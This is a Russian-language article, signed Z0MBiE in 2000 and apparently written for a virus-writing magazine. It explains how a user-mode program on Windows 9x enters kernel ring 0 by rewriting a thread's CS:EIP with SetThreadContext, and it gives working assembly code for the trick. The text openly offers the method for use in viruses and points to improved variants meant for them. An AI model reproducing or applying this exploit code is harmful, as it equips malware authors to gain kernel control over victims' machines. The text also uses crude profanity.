Весь вред, причиненный этим текстом, посвящаю злым вирмэйкерам.
Маздай. Сколько глюков в этом слове! Итак, вашему вниманию
представляется вроде бы неизвестный до сих пор, но просто шокирующий
способ перехода в нулевое кольцо защиты.
Это не патч системных таблиц и не загрузка VxD-драйвера; это не
супер-пупер глюк в системе и не какой-нибудь навороченный эксплоит; это
даже не изъебские вызовы чево-то-там через кернел и это не
многомегабайтные исходники вызовов пэйджера на си.
Это просто стандартные апи-функции третьего кольца.
Суть заключается в вызове всего одной функции: SetThreadContext. Эта
функция устанавливает контекст, то есть все регистры для заданной нити.
Ситуация усложняется тем, что сохраненный контекст применяется (т.е.
установка регистров происходит) при переходе из нуля в третье кольцо при
переключении задач и при возврате в кернел из вызванных им процедур
нулевого кольца.
Таким образом мы подлавливаем момент, когда в контексте текущей нити
управление находится в нулевом кольце, а затем правим CS и EIP возврата
на 28h и адрес-процедуры-нулевого-кольца.
В результате вместо того, чтобы вернуться из нуля обратно в кернел,
управление возвращается к нам.
Почему нельзя изменить один только CS на 28h? Потому, что тогда
управление вернется в кернел, а кернеловский код в нулевом кольце
сглючит, так как до начала работы надо переустановить сегментные регистры
в 30h.
push esp 0 0
push offset thread_ring3_code
push 0 0
callW CreateThread ; создаем новую нить
xchg ebx, eax ; EBX=хендл нити
push offset context
push ebx
callW GetThreadContext; получаем контекст нити
mov context._segcs, 28h ; меняем CS:EIP
mov context._eip, offset ring0_code
push offset context
push ebx
callW SetThreadContext; устанавливаем контекст
jmp $ ; чего-то ждем
thread_ring3_code: push 1
call Sleep ; пауза
jmp thread_ring3_code
ring0_code: push ss ss ; мы в нуле!
pop ds es
...
Вот собственно и все. Пример в CONTEXT.ZIP
Единственно, что в таком нулевом кольце нельзя вызывать VxDcall-ы. Но
это ведь не проблема, так как из нуля можно что угодно записать в любую
область памяти, потом убить текущую нить и перейти в ноль как следует. Но
это уже другая история.
P.S.
Улучшенный вариант перехода в 0 находится в CONTEXT2.ASM: здесь
приходится организовывать свой стэк, зато можно вызывать VxDcall-ы.
Еще более простой вариант в CONTEXT3.ASM: здесь мы обходимся вообще
без создания новой треады и прочей хуйни. Эта версия наиболее приближена
к нормальному использованию в вирях.
(x) 2000 Z0MBiE, http://z0mbie.cjb.net
Статья для журнала Top Device
|